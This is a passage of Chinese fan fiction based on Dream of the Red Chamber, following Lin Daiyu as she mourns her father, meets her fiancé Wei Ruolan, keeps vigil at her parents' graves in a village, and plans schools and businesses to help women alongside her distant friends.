姐妹两个越说越难过,抱头痛哭,哭着哭着睡了过去。
卫升、穆郡主、卫若兰一家久别重逢,自是有说不完的话。
说完这两年发生的事,穆郡主想来想去还是说,“明日卫若兰要去墓边结庐,我想着要不要安排若兰和黛玉见一面?”
卫升沉思片刻道,“黛玉怕没有心情。”
穆郡主道,“我想着她们以后要过一辈子,本也该准备成亲了;如今,黛玉失去父亲正难过呢,若兰该去安慰安慰。”
卫升道,“那你明早问问黛玉,看她怎么说。”
穆郡主道,“还用你说,肯定要考虑的黛玉的想法。”又看向卫若兰,叮嘱道,“你们早先也见过几次,如今几年未见,又成了未婚夫妻,可要好好说话,注意点。”
卫若兰连连应是。
卫升奔波一日也累了,想着第二日都还有事,就让卫若兰去休息了。
卫升、穆郡主夫妇也洗漱就寝。
蒋芸、王熙凤、贾琏本来还有些踌躇,卫若兰年龄也不小了,黛玉守孝三年,怕有变故。
这段日子和穆郡主相处下来,今日又见了卫若兰,彻底放心下来。
第二日一早,
卫若兰休假,但也并未懈怠,早早起来锻炼,还陪卫升、贾琏一起用了早膳。
卫升、贾琏出门办差;卫若兰回去院里又练起剑法。
穆郡主出来,看儿子在院里练剑,忙问,“早膳用了没?”
卫若兰停下道,“我陪父亲和贾兄一起用了的。”
穆郡主道,“那就回去换套衣服,我去看看黛玉。”
穆郡主去的时候,黛玉正和张阅用早膳。
丫鬟通报,黛玉听了赶忙迎出来,“穆姨,你怎么来了,快进来坐。”
穆郡主道,“来看看你。”
黛玉拉着穆郡主做到桌前,又让丫鬟添几个菜,道,“姨妈陪我们用些。”
穆郡主道,“好,看来还是姑娘们惹人疼。”
黛玉、张阅害羞的笑了笑。
三人说话间,用完了膳。
张阅想着穆郡主可能有事找他,便借口有事找熙凤离开了。
送张阅离开后,穆郡主道“姨妈今儿个来找你,若兰今儿个要去守墓,我想着你们定亲以后还没见过,该见一面。”
黛玉沉吟,不知道该不该答应。
若是其他时间,她就答应了;如今,父亲才走不久,不太合适。
穆郡主看黛玉犹豫,“按你想法来,别勉强。”
黛玉想了想,他来祭拜父亲,又要替她结庐守墓,她该谢谢他的,还是答应了。
穆郡主道,“我看湖边有个亭子,四周视野开阔,就在那吧。”
“好。”
穆郡主道,“那我回去过去告诉他,你忙完过去,不急。”
黛玉起身送穆郡主离开,待看不见才回院子。
黛玉忙完手头的事,想了会儿,到底还是另换了身素服,簪了根玉簪。
黛玉到亭子的时候,卫若兰已经在了,正坐在亭子里泡茶。
卫若兰看见黛玉过来,赶忙起身迎过去,“妹妹安好。”
黛玉边行礼边道,“师兄安好。”
卫若兰道,“妹妹亭子里坐吧。”
黛玉跟着进了亭子坐下。
卫若兰一边泡茶一边道,“妹妹节哀。”
黛玉捧着茶,道,“谢谢师兄,爹爹若知道了,肯定开心。”
卫若兰道,“当年和柳兄奔赴边关,遇上林叔叔一行赈灾,和林叔叔同行过一段时日,我一直很敬佩林叔叔。”
黛玉道,“父亲说过,当年多亏世兄照顾父亲。”
卫若兰道,“应该的。本想着回京后能常常见到林叔,没想到当年一别,却成了永别。”
黛玉想起自己和父亲,也是寻常一别,成了永别,红了眼眶。
卫若兰看了,有些慌乱,“妹妹别难过,我说错话了。”
不知如何是好,突然曾经和林海喝酒时的事,“当年,林叔叔喝醉酒曾说起过,只要你一生开怀、顺心遂意,余生再无所求。”
黛玉听了卫若兰的话,直直的看了过去。
卫若兰看着黛玉眼神,仿佛终于抓住了救命稻草。
卫若兰又说,“林叔当年还说,要好好保重身体,要多陪你几年。如今,只是天意弄人。”
黛玉听着父亲对她的牵挂,满是难过,语调艰涩地说道,“我都不知道这两年父亲不好,父亲早早留下遗书,我却什么都不知道。”
卫若兰道,“林叔叔知道你在做的事有意义的事,他很骄傲,也一直很支持你,他不会怪你的。”
黛玉问,“真的吗?”
卫若兰肯定道,“真的。只要你好好的就好。”
黛玉道,“我一定会实现父亲的期望。”
黛玉本想问,卫若兰信里的承诺是真的吗?
黛玉犹豫间,卫若兰已经承诺道,“我会帮你的,像林叔叔支持你那样。”
黛玉很动容,她一直对卫若兰很有好感,即使还未发展成男女之爱。
早年,她们帮秀娘的时候,在场的几个男子,只有卫若兰支持她们;后来,也一直帮助若竹姐姐。
黛玉想,她是信他的,道,“那我以后有需要,就找卫世兄帮忙了。”
卫若兰道,“尽我所能。以后有事尽管给我写信,或者找我娘亲和若竹都行。”
黛玉点头答应,两人又聊了一会儿,卫若兰道,“我该出发了,送妹妹回去吧。”
黛玉道,“不了,我刚好去找穆姨。”
卫若竹邀请,“那我们同行。”
黛玉欣然应允。
37.第三十七夜
卫若兰在众人的目送下带着随从、行礼和林家下人去了林家祖坟,林海、贾敏合葬墓的不远处已经搭好了住处。
时光在卫若兰一日日洒扫祭拜、锻炼、读书、寻找田庄中转瞬而逝。
黛玉忙过一茬,也隔日来坟前祭拜父母,两人也慢慢熟悉起来。
卫若兰每日下午都去周边村子看看,还真找到一座合适的屋子,中间是一排三间的卧房,两侧一边是卧房,一边是厨房,院子外面是用篱笆扎起的两块菜地,颇有农家野味。
屋子的主人随儿子在城里谋生,只是不是庄子,主人也没有售卖的意愿。
好在,黛玉也没有常住的意愿,只是想要陪一段父母。
最后,卫若兰去信征求了黛玉的意见,租了院子两年,又征求主人意愿,安排林家仆从修缮了院子,打通了左侧和中间那排最左边的卧室,左侧的改装成了浴房,和黛玉的卧房相连,最中间的屋子做大厅和书房,各处布置都依黛玉的爱好来;和厨房相邻的那间卧室留给黛玉的贴身丫鬟们住。
门外种上了喜欢的花草,还搭了一个秋千,秋千周围种了蔷薇,想来春暖花开的时候,黛玉坐在秋千上玩,别有一番意趣。
因着那间小院较小,为了安全起见,卫若兰还租下了后面、左右附近几间院子,给护卫、丫鬟们住,方便照顾和保护黛玉。
不过,丫鬟们住的院子倒不用大修,黛玉过来住前,指定能修好。
虽然要搬家,但林家给的租金够多,够村民重新建几间屋子,且黛玉搬来还要一段时间,也够村民找屋子,或自己盖房,都很乐意。
十天一晃已过,卫若兰在父母的不舍中重新踏上前往北疆的路。
黛玉每日打理家业,会见前来看她的好友、姐妹,日子过得很是忙碌。
王熙凤、张阅陪伴黛玉,偶尔也去外面逛逛,帮黛玉视察视察铺子。
穆郡主、蒋芸怕她们走后,林家只剩黛玉一个人,怕仆从出事,一遍遍的梳理、敲打仆从,务必留下的都是听话、老实、忠心的。
卫升、贾琏整日外出办差,虽说下江南没几日就处理好赈灾的事情,只是堤坝被冲毁,要重新修建,还要安置外地来的流民,到林海百日前几日才将将完成。
但十二月上旬已经过去,北边的运河冻着,陆路要慢很多,指定赶不及回京,众人辛苦几个月,都不想再路上过年,商议过后决定留在江南,过完年再归京。
好在,卫升他们早有心理准备,考虑过年前回不去的事情,时时去折子给皇上报备,倒也不影响什么。
时间一日日的过着,很快就到了林海百日,十二月十三。
葬礼的时候黛玉不在,全凭族人、亲朋的帮忙,所以这次百日办的格外隆重,广邀亲朋好友,女眷这边黛玉一一致谢;男宾那边,黛玉也求了卫升和贾琏表示感谢。
黛玉知道蒋芸、穆郡主回了京了,要留在姑苏过年,很是开心。不然,这年该她一个过了。
不过,高兴之余,黛玉有些担心,她们回不去,京城的亲人可怎么办?
于是,黛玉收拾妥当,就去找穆郡主和蒋芸。
蒋芸、穆郡主看见黛玉,忙道,“玉儿来了,过来坐?”
蒋芸道,“今年陪着你过年,开不开心?”
黛玉坐到穆郡主、蒋芸身边,“开心”,犹豫了会,黛玉还是道,“婶婶,姨妈,不好意思,我该早些想到的,该早些劝你们回京的,这会都没法回家过年了。”
蒋芸、穆郡主听了笑了,穆郡主道,“这和你有什么关系,小孩子家家的,要过年了,该开开心心的才好。你开开心心的,我们才开心。”
蒋芸也道,“你没想到,我们可想到了。我活了这么多年,还没过过苏州的年,这次过一次,玉儿可别嫌婶婶耐你家不走。”
穆郡主接着说,“再说,你叔叔又差事在身,我在这,还能照顾些。”
黛玉道,“婶婶,姨妈留在家里我过年,我开心还来不及呢;只是,京里的叔叔、哥哥、姐姐怎么办?”
穆郡主笑道,“离了我们,她们还不过年了?等回京再聚就好,我们才省事了。”
蒋芸难得的露出些许愁容,“你是不知道过个年,我们多累,今年刚好偷个懒,你以后可别告诉你叔叔她们。”
黛玉做一个闭嘴的姿势,也跟着笑,“那今年婶婶、姨妈过个轻松年。”
穆郡主、蒋芸看着黛玉终于有了些活力,也很开心,道,“都是一家人,别瞎客气。”
黛玉起身福了一礼,道“玉儿以后不会了。”
黛玉知道,即使她和姐妹们建了群芳会,群芳绣庄、群芳脂粉、正心堂都在京城办的如火如荼,群芳女学也办的不错,名门闺秀多有入学,可她们的力量几近于无,稍有不慎,就会被浪淘淹没。
如今,父亲去了,她一个孤女,多亏几位长辈的照顾,才顺利接管父亲留下的一切,没有被各路人马生吞活剥。
黛玉想着,这段时间忙碌,又沉浸在丧父之痛中,也没怎么陪过长辈,都是她们顾忌着的她的心情,决心好好给几位长辈准备新年礼物,好好陪他们过个年,以后也要好好孝顺长辈们,才不辜负她们的一番爱护之情。
穆郡主和蒋芸想着年底了,各处庄子报账、给亲朋好友送年礼,这些她们也插不上手,都得黛玉忙,赶忙让黛玉回去歇着。
黛玉体谅长辈好意,告辞了。
年前,各地庄子、铺子的产出都来报账,黛玉第一年处理怕被蒙蔽,不得不打起精神;又要各地的亲戚、姐妹送礼、回礼,打发下人往京里、北疆、川蜀送礼,虽然有王熙凤、穆郡主、蒋芸在背后撑着,也忙的够呛。
好在,林家的管事都是林海精挑细选的,虽有些许私心,但到底还算忠心,没有出什么差错。
只是,往后就看黛玉能不能留住她们的忠心。
新年很快就来了,这算是黛玉过得人最多的一个春节,虽然顾忌着林海刚去世不久,没有张灯结彩,却也院子里挂了很多莲灯。
除夕下午,贾琏带着黛玉去给林海夫妻上了坟,又在管家的安排下祭祀了祖宗,很是伤怀。
黛玉想着在屋里用膳没什么趣味,就在梅园设了宴。
夜里,莲灯亮起,衬托地林府的景色格外动人。
众人连夸黛玉巧思。
虽说比往日林家人多,可也就卫升、贾琏、张阅、穆郡主、蒋芸、熙凤和她几个主子,也就没分男女席,摆了一桌姑苏的特色菜,飞禽走兽时蔬一应俱全;只为了守孝,黛玉面前放了两道完全没有放荤油的素菜,也很是美味,宾主尽欢。
饭毕,贾琏、卫升去林家湖心亭赏月、饮酒,把地方留给女眷。
张阅、熙凤怕黛玉触景生情,引着黛玉玩笑,蒋芸和穆郡主两个姑娘们玩,也难得想起她们年轻的事,给姑娘们讲起来,和她们一起游戏,都很是开怀。
直至,子时过半,众人才散去。
姐妹嬉闹时淡去的伤感,夜深人静时又不可避免的浮现出来。
黛玉对着月色祈祷,在另一个世界里父母团聚,弟弟承欢膝下;又祈祷姐妹们心想事成。
这段时日,英莲、素心、林秋这些黛玉交好姐妹的隔三差五的来探望黛玉,张阅更是时时陪着黛玉,怕黛玉沉浸在痛苦中,引着畅享未来,让黛玉振作起来。
黛玉想,让该走出来了,不能让父母、亲人为自己担忧,过好自己的生活,让父母、亲人安心;想着待穆姨她们回京后,她就去林家祖坟旁边的村子住着,陪伴父母的同时,也见识一下百姓的生活,看百姓、女孩们都需要什么,然后,想办法做些什么。
黛玉想,那都不缺受苦难的女子。如今她身边的几个大丫鬟,都能独当一面了,守孝这些日子,该在江南把群芳脂粉、绣庄、正心堂开起来,帮帮江南的女子才好。
如今的群芳会能做的太有限,可只要做,就有价值。
想着想着,黛玉睡着了,梦里,父母看着她笑,仿佛为她的决心开心、骄傲。
新年当天,众人一同用过早餐后,卫升、贾琏出门去看望前来赈灾的官员、衙役;黛玉几人想着在家也无事,又想起小时候父母带她出门看社火、庙会什么的,便让穆郡主他们出门去看看庙会、社火。
穆郡主想着黛玉孝期不好出门就拒绝了。
黛玉想着机会难得,劝了又劝,她们才答应出门。
她们走后,黛玉拒绝了丫鬟的陪伴,在府里逛起来,沿着府里走了一圈,脑海里这父母在的样子。
黛玉想着要让宅子一直
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保持父母离开时的样子,留住她们一家四口记忆;她会永远记得父母,即使她以后会离开,会走很远,可她的根,一直在这里。
黛玉又想,她失去母亲太早,如今已经很难单凭记忆清晰的描摹母亲的面容,只能看着画像,想母亲和画像像了多少,追索母亲的音容;总有一天,父亲的音容笑貌也会淡去。
她很遗憾,可她留不住时光,只好尽力留住这座宅子。
记忆会随着时间的消磨、人生经历的丰富淡化,可爱却恰恰相反。
时光越久,爱意渐深。
这些年,黛玉经历很多事情,她见过父母为了给儿子娶妻,为了一家活得更好,让女儿卖身为奴;也见过暴虐的父亲为还赌债,把女儿许配给不堪为人的丈夫;见过女儿被丈夫殴打虐待,父母却一味让女儿忍者,还不许她和离……
姑娘们若遇见,倒可以帮助那些姑娘;可这些事情数不胜数,她们不可能每一次都及时出现;更多时候,她们遇见的是已经被折磨的看不出人样的妇人;见的是饱受折磨还要去绣坊上工赚钱,不敢丝毫反抗的妇人……
她心生怜悯,想要帮助那些受苦难的女孩子,想要改变这一切。
可这一切的根源是父母对她的爱,是父母的殷殷关爱、谆谆教导、默默支持,才让她有机会心怀悲悯、帮助其他女子,有勇气去做改变这一切。
这一路走来,见得越多,她对父母的爱越深;越知道,父母在她成长过程中给予的爱多珍贵,才在失去父亲后,没有一味沉沦悲伤,而是依着父亲的嘱托伤心有度,接起林家的诺大家业。
即使这般,悲伤也没有少分毫,只是沉在心里。
走着走着,黛玉又一次走到了祠堂。
进入祠堂,黛玉给父母上了炷香,在蒲团上坐下,絮絮的说起未来的打算,又说起卫若兰的表现,让父母放心,别为她担心,她会好好的,她会让世人知道,爹爹娘亲的女儿不比别人的儿子差。
黛玉不说,要让爹娘为她骄傲,是因为,她知道,父母一直为她骄傲,即使,她只是世人眼中没什么用的、生来就是附庸的女儿。
快午时黛玉,才出祠堂。
穆郡主她们想着黛玉一个人在家,赶在午膳前回到府里,陪黛玉用膳。
下午倒都没出去,陪着黛玉在林府游玩,黛玉难得说起父母在趣事。
说起这些的黛玉,面带笑容,神色安宁,满是怀念,悲伤浅淡。
穆郡主、蒋芸她们看了满是欣慰。
前些日子,众人都忙得脚不沾地。
穆郡主、蒋芸、熙凤她们即使不回家,也买了好些江南土仪,送往京城,也送给外地亲友。
再前些时候,林海百日未过,都没有赏玩的心情。
游毕林府,穆郡主连连赞叹,不虚此行,都道这哪是家宅,明明是赏玩的园林。
黛玉看她们喜欢,邀请她们闲时来姑苏了,就过来住。
蒋芸调笑道,“这么大方,不怕我住着不走了。”
黛玉道,“我巴不得婶婶、姨妈们不回去呢。”
几人说笑着闹成一团。
初二,贾家路远,贾琏、熙凤、黛玉又正巧在姑苏,齐俨早早就带了素心来林府拜访,当是回门。
姐妹相聚自是欢乐,素心看黛玉渐渐走出来,又是一阵高兴。
初三,英莲来访。
初四,林秋、林灵、林熳来访。
……
十五一过,十六一早,穆郡主、贾琏一行就坐船回京。
林府只剩黛玉一人。
贾母多次来信,要熙凤带黛玉回贾府,黛玉坚持要为父亲守孝,熙凤她们不好勉强,只留下人护着,又托付当地官员照顾黛玉,便不舍的登船离京了。
林家本是姑苏望族,林海又在扬州多年为官,和当地官员多少有几分香火情,人走茶凉,也不至于这么快;又有卫、贾、王几家的人情,自然尽心。
只是,父母一去,亲友回京,一个人住着到底难免伤怀。
黛玉安排好府里的事情,就带着丫鬟们住到了村里。
黛玉刚一入村子,就遇到几个孩子在追兔子,雪雁几个觉得有趣,还给黛玉说呢。
雪雁几个还想着兔子可爱,找几只养了给黛玉解闷。
38.第三十八夜
村里的日子无波无澜,黛玉早晨起床,梳洗后用完早餐,带着丫鬟们慢慢走向父母的坟墓。
一路野花漫漫,绿草成茵,如一副精美的画卷;天空云彩翻腾,如锦缎铺就,令人目眩神韵,天地交织,只让人觉得不负晨光,心情舒展,可黛玉却没有欣赏的心情。
走到坟墓前,雪雁她们知道黛玉要做的第一件事是祭拜,连忙把祭品和蒲团铺到地上,三拜九叩,上香,烧纸……
一切结束,丫鬟们缓缓退到两米以外,黛玉起身整理好衣服,坐在蒲团上,静静地陪着父母,偶尔说两句话,念两句诗……
差不多快用午膳的时候,雪雁凑上前,“姑娘,该回去了。”
黛玉慢慢回过神,起身离开,“好。”
丫鬟们收拾好东西,跟着黛玉离开。
走回村子,在地里忙活一早上的村民也踏上了归家路,看着黛玉和几个丫鬟,一点都不像村子里的人,她们早就知道有钱人家要搬过来,原来是个姑娘。
他们窃窃私语,“真好啊,一个姑娘都过得那么好。”
“要我家大宝能攀上姑娘,找个工,成为人上人,该多好。”
“看样子,那姑娘家里死人了。”
“哎。”
……
一行人只敢远远地看着,不敢叫黛玉和丫鬟们听见或看见;有人固然想“富贵人家”这棵大树,可黛玉她们没有和村里接触前,是不敢轻举妄动的,还会管着孩子,只怕不小心得罪了大人物,一家子不好过。
黛玉一行回家的时候,厨房正好做好午膳,守孝期间素菜,但怕黛玉亏了身体,时常熬些燕窝粥、参汤之类的滋补药膳,给黛玉补身体。
黛玉刚上坟回来,也没什么胃口,看着满桌时蔬,便叫雪雁她们一起用。
不过,黛玉在雪雁她们的劝说下,又加上厨子的手艺和食材都上佳,还是吃了些。
用完膳,黛玉就回了书房看书,再想想群芳会的事该怎么开始,谁去办……
丫鬟们看她太闷了,便抱着小白兔过去给她逗趣。
日复一日,日子就这样过下去。
雪雁几个想着姑娘在家里的时候只能去花园解解闷,村里没那么多规矩,姑娘出去转转心情还能好点,不至于正日伤怀,来村里的时候好一阵高兴。
谁知黛玉除了去给父母上坟,就在屋里看书、处理事物,丫鬟们看着难免心焦,觉得日子憋闷,时常担心黛玉太过伤怀。
寒气散尽,春暖花开,屋子外面的小花园开始绽放,放在小村庄里格外稀奇,小孩子们慢慢忘了父母的叮嘱,跑到院子外面探头探脑,黛玉有时在屋里听着她们的童言童语,叽叽喳喳很是热闹,便放下手中的书,透过窗纱看起来,也被感染的开怀起来。
雪雁几个看着黛玉难得开怀,便把黛玉用不完的点心果子给孩子们吃,招惹孩子们常来玩,变着法的劝黛玉出去。
被劝的多了,黛玉也心动了。
慢慢地,傍晚夕阳西下的时候,黛玉就带着丫鬟们在村里走走,碰上时常去院外玩的小孩,叫着“姐姐”过来问候,黛玉也亲切的回着,心情好的时候,甚至会蹲下逗几句。
日日夕阳西下,日日光景不同,黛玉看了,每每感叹大自然的鬼斧神工,到了第二日傍晚,就会踏出院门,去赏今日的景。
黛玉走着,时常想,要爹娘在,也会像我一样,日日出门去追逐晚景。
如今,只我替他看了。
到了第二日,黛玉去坟前的时候会慢慢的告诉父母,有事也会带着笔墨,把昨日的美景绘成一幅图,烧给父母。
中午阳光正好的时候,黛玉也会着本书,迈出院门,坐外面秋千上看书,太阳洒在黛玉身上暖阳阳的,很舒服。
看在路人和丫鬟们眼中,只觉得黛玉如仙人下凡一般,花园也被黛玉衬得格外美好;要有不怕热的小孩出来玩,看见会直呼“仙女下凡了!”
“仙女姐姐好漂亮。”
“要把仙女姐姐娶回家。”
……
童言童语逗得丫鬟们笑的合不拢嘴,逗得黛玉也没了心思看书,没了心思伤怀。
不过,黛玉也不气恼,合起书,把孩子们招过来,坐在旁边,给孩童们讲故事。
孩子们听得津津有味,到黛玉要去午睡的时候,就遣孩子们去玩。
小孩们散开去找小伙伴们,给小伙伴们炫耀仙女姐姐给她们讲故事的事,引得小伙伴一阵羡慕,后来,一天比一天的孩子多,黛玉也一日比一日开怀。
雪雁还提议,“我看姑娘喜欢孩子,要不收拾间屋子,姑娘叫孩子们认字。”
黛玉听了心动了瞬间,只是还想着多陪父母段时间,道,“过段时间再说吧。”
雪雁听了,知道黛玉同意了,只是还有顾虑,只吩咐下面的小厮们先准备着。
午睡醒了,要有事需要黛玉处理,黛玉会先处理了;要没有事,黛玉会看会书,再写篇文章。
待夕阳西下出门散散心。
傍晚回来后,丫鬟们就伺候黛玉用完膳、洗漱。
夕阳落下,天空被夜色彻底染黑。
黛玉的屋里点起灯烛,要看书,雪雁她们怕伤着眼睛,劝着不让看,便打个棋谱,弹个琴……
刺绣太费眼睛,丫鬟们也一力包了,具不许黛玉动手的。
黛玉想自己绣些什么,或送给姐妹,或烧给父母,或送给卫若兰,都只能下午做。
可能受心情所困,黛玉弹的琴多伤怀,丫鬟们听了难受,就把琴收起来。
黛玉无法,只能叫丫鬟陪她下个棋,不过,她们的棋艺都不如她,黛玉无聊,只能早些睡了。
林家传承多年,铺子、庄子都已稳定,有忠诚的家生子管着;林管家她们又心疼黛玉才失去父母,不想黛玉太劳累,只有处理不了的才找黛玉,要黛玉处理的事情实在不多。
黛玉思虑的多是群芳会的事。
黛玉守孝,身边的丫鬟们又都年龄小,压不住阵,一时半会,黛玉也不知该如何是好。
京里群芳女学、群芳绣庄、群芳脂粉、群芳正心堂都发展的不错,可要给她们支援人手,也是捉襟见肘。
黛玉又不想把群芳会的产业和林家的产业混在一起,以免以后说不清楚,不好找林管家处理。
不过,黛玉也拿了私房给林管家,让林管家先留意着铺子,有合适的就买了。
素心来江南更早些,只是刚嫁入一个新家庭,虽然公婆和善,丈夫也体贴,可到底一大家生活在一起,要适应一段时间。
后来,又遇上林海病逝,更没有功夫,出了正月,才来信和黛玉商量。
黛玉也多年不在江南,又恰逢丧事,不好出门了解情况,一时也没注意,只让素心先准备着,叮嘱要有合适铺子可以先拿下,又让让林管家帮忙培养人手。
江南商业、文风鼎盛,商业竞争更是激烈,群芳会的产业背靠林家、江南府尹,立足没甚问题,只是想要赚很多银钱,贴补女学、救助妇女不易实现。
女学的话,有林家女学,有林家堂姐妹、英莲、曾经的同窗们在,群芳女学倒不愁夫子,可大户人家的第一选择是林家女学。
姑苏群芳女学倒没必要像京城一样,或可直接办在村里,参考楚楠曾说过的职业教育,只教孩子们识字、管账、刺绣、脂粉制作、厨艺等生存技能。
若是一切顺利的话,还可以尝试一下楚楠曾畅想的男女同院。
到时候几个村子开一个,周围村里的孩子都可以来学院读书,让孩子们长些见识,树立正确的是非观,起码不会依据乡里约定俗成、甚至有些野蛮的风俗生活,不再觉得溺死女婴正常;都学了手艺,婚后夫妻二人共同努力,衣食富裕后总不至于苛待女孩子,下一代的女孩子总会过得好些,以后,一代总会比一代好,女子的噩梦总有消失。
若女学办的不顺利,也要叫女孩子们识字,自尊自爱,起码以后遭遇暴行,会反抗,而不是逆来顺受。
黛玉又想,或许不一定要办绣庄、脂粉铺,也可以找些姑苏特有的东西,开办其他产业。
开始的资金黛玉和素心可以垫着,可后续运转不能全靠她们,她们的私房也不过杯水车薪。
难的不是开始,是摊子铺大了,银钱跟不上白费功夫;是如何让百姓接受女学……
黛玉想了许久,定不了注意,把自己的想法写了,给远在北疆的楚楠去了一封信,问她们是怎么做的,或可得到启发。
其实,黛玉、素心的难处,杨梧、孙芷、宋静、楚楠、李思都有,经济困难,她们可以用私房、嫁妆先贴补着,可没人着实是个问题。
婚后家里一摊事,群芳会的产业又没人,得找人,培养人,还得根据当地实地情况调整情况。
女学又没有合适的老师,她们自己分身乏术,亲自上都没时间,只能慢慢寻么着,一步一步来。
楚楠、李思在北疆,绣品卖不出去,便改卖北疆人需要的成衣,以最优惠的价钱为军队提供军服被褥;脂粉价格对北疆人来说太贵,不实用,买的人很少,但她们发现北疆干燥,便写信给京里,宝玉、探春研究了滋润的面脂方子,寄给她们;楚楠还让人研究方便食品,想着改良军队的饮食,提高战士的身体素质,让他们活下来的机会更大些。
探春他们的信到达北疆后,楚楠几人都很高新,想着脂粉铺有救了,谁知道,随信而来的还有黛玉丧父的噩耗。
这是已经过完年了。
姑娘们各散天涯,
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通信不便,一封信往往需要两三月才能寄到,便约定逢年过节送年礼的稍封信,其他时候有急事在寄信。
黛玉丧父后,也没有心情联系姐妹们;楚楠她们送年礼都提前两三个月送,京里送出的时候还未得到消息,楚楠她们年前送出的信,也还未到黛玉手里。
楚楠、李思、沈安拿着信,坐在一起。
楚楠看着林海死亡的日期,想着,难道是命中注定吗?林妹妹要丧父丧母,黛玉以后该怎么办?不过,看到黛玉在姑苏守孝,到底松了一口气,曾经的一切都是黛玉丧父后才发生在贾府的。
如今,黛玉在姑苏,怕不会发生了?可林大人都回京了,还是殉职在江南,万一黛玉也逃不过命运可怎么办?不行,北疆的布局必须尽快完成,黛玉出孝后肯定会回京?
黛玉和卫若兰定亲了,他在北疆,得想办法联系上,万一他这两年出了意外,黛玉怎么办?
虽然多有变化,可万一结果变不了怎么办?必须好好想想!
李思看着楚楠沉思,知道她和黛玉关系好,倒也没打扰,向沈安道,“黛玉该多难过啊,我们都不在。这都过去半年了,我们赶紧写信送去姑苏,再送些东西过去,让她知道,还有我们在。”
沈安听了道,“赶紧走,年前送的东西怕还没到黛玉手里。”
两人看着楚楠还在沉思,也没打扰她,两人携手去翻库房,收拾了一车给黛玉的东西。
收拾完想着得尽快送过去,又去找楚楠写信。
李思、沈安说的都是些关心之语,又想着黛玉一人在姑苏守孝,日子肯定清苦,一个劲的叮嘱黛玉小心身体。
楚楠想着黛玉与父亲感情好,肯定短时间走不出来,姑苏又在人杰地灵、才子辈出的江南,适合做文化中心,便出了办个女报的想法,拿事业转移黛玉注意力,免得黛玉太过伤心,伤了身体。
当天下午,楚楠一行收拾的礼物和信就让下人送往了姑苏。
杨梧和张阐去了南疆,张阐虽然早先不认可妹妹出门抛头露面,但在母亲的劝说、妹妹们日复一日的坚持下,早改了,为杨梧在南疆办学提供了不少帮助。
只是小县城,绣庄、脂粉铺难有用武之地,杨梧便没开,一边寻么着当地有什么特色,一边写信问姐妹们,只是回信还没到。
女学也不是一开始就有人去,多的是不支持女孩上学的家庭,后来杨梧、张阐两口子商量着,要改善乡风,必须兴文教;兴文教,拿着朝廷禄米不干事的秀才们可以用起来。
最后,张阐便动员秀才们办学,还提出若家里女孩入学群芳女学,男孩束脩减半。
百姓们算算账,觉得划算,慢慢也把孩子送过来了,只是有的家长顽固,不愿意,只得慢慢改变了。
宋静和素心的情况差不多,到了襄城后,适应了好一段时间,好不容易腾出手来,要大展拳脚,却发现缺人、缺钱。
若她们只想赚钱,从京里发货就好,以京城绣品、脂粉为噱头,想来襄城的富户会一拥而上,你争我抢,可后续又该怎么办?
她们的目的毕竟不只是为了赚钱,后面换了本地的绣娘,她们还会买账吗?
最后,只得慢慢了解当地情况,以图后来。
孙芷和李恣到了蜀地安顿下后,孙芷不擅经营,倒没想着经营绣庄、脂粉铺,只在县衙附近,租了个院子办女学,不分贫贱富贵,只要想学都免费教,只要求学生学成后继续办学,叫女孩子们读书。
孙芷每日下去教学,上午或有事的时候护佑让身边的丫鬟、嬷嬷去教,刚开始人丁零落,慢慢的学生也多了。
李恣休沐时,夫妻二人闲逛时发现蜀绣很不错,孙芷想着可以让她们绣了,送去京里,也能多卖些钱;后面和李恣商量后,由县衙牵头,收购绣品,送往京中,有人赚了钱,自然有人后头跟上,让家里姑娘们学起刺绣,想着以后赚钱,姑娘们一时也好了不少。
孙芷自然也没闲着,让丫鬟、嬷嬷们把京里流行的花样整理出来,在学里教,家长知道后,纷纷把孩子送往女学。
她们知道黛玉丧父的消息时,都已经过了许久,赶忙写信送往姑苏。
姑娘们给黛玉送信的时候,黛玉差不多时间也辗转收到了姑娘们年前送来的信和礼物,说了她们的经历,想让黛玉节哀,又怕惹黛玉伤心,一时很难下笔,斟酌许久才成文。
黛玉看了信后,心情了好了些许,给各位姐妹回了信,又把孙芷的做法分享给了杨梧、宋静、素心,想着也许会有新的想法,直路不通,或可迂回。
北疆苦寒,卫若兰日日操练,根本顾不上思念亲人,只每次休沐的时候,写两封信,一封往京城,一封往姑苏。
夜深人静时,才有时间想起信走到了那呢。
39.第三十九夜
两年来,黛玉每日上午去给父母扫墓,除了新年、中秋这样的节日回家祭祖,没有一日错漏。
下午的时间黛玉或读书,或写文作诗画画,或去给隔壁女学教学,或处理群芳会的事物,日子倒也算的上细水流长、岁月静好,只除了夜深人静的时候还会想起父母。
想来,只能将一切都交付时光。
林海三周年忌日前夕,黛玉一行离开了居住两年多的村庄,女学的学生都很舍不得黛玉,好似知道黛玉此行离开,日后怕很少再来,依依不舍道,“先生要好好保重身体。”
“先生要再来啊。”
“先生,我一定会去找你的。”
“先生,我会想你的。”
……
黛玉看着,心里怪不落忍,一一应着“好”,安慰了几句学生回来看她们,便狠心扭头上了马车。
相聚过得离别总是令人伤怀,怪不得黛玉曾经喜散不喜聚呢。
如果注定要离别,她宁愿没有欢聚过。
黛玉上马车的时候,村民也零零散散的来了,黛玉只好下了马车。
黛玉和村里百姓相交其实并不多,因着守孝,除了去隔壁女学,其他需要和百姓打交道的事都是交给雪雁她们去的;就连群芳会的事情,都是写信和素心商量,交代丫鬟们办的。
有些父母因着女学耽搁了女儿干活,听了黛玉要离开的消息,抚掌大喜;可也有爱孩子的父母,知道上学对女儿未来有多少好处,知道黛玉要离开很是不舍,赶忙收拾了家里的土特产送过来。
黛玉和雪雁几个丫鬟辞了又辞,也抵不过学生父母的热情,直接把东西架上马车就带着孩子走了。
黛玉颇有些哭笑不得,只好让丫鬟们收拾好再启程;又吩咐雪雁回去买些纸墨笔砚和书本送往女学,供孩子们使用。
黛玉回林府的时候,已近午时,管家、荼白、梅染她们在府门前候着。
看着马车停下,忙迎上去,“姑娘可算回来了。”
管家、荼白、梅染都是林海、贾敏身边的老人,十几岁时候就跟着林海、贾敏,从小看着黛玉长大,说是仆人,其实感情和家人也不差什么。
林家又只黛玉这点骨血,疼的如掌珠似得,恨不得什么苦都替她受了,只是黛玉要替父母守坟,她们劝不住,只能留在家里,为黛玉守好后方。
黛玉问道,“林叔、梅染姐姐、荼白姐姐。”
看到黛玉的时候,梅染、荼白的眼泪刷的掉下来,实在是这两年除了过年,其他时间在府里只留两三日,她们看着,只觉得黛玉瘦了,受了很多苦,拉着黛玉的手,连连道,“姑娘瘦了,这次可得在家里好好养养。”
黛玉连连答应,尽管她知道,她在家里留不久。
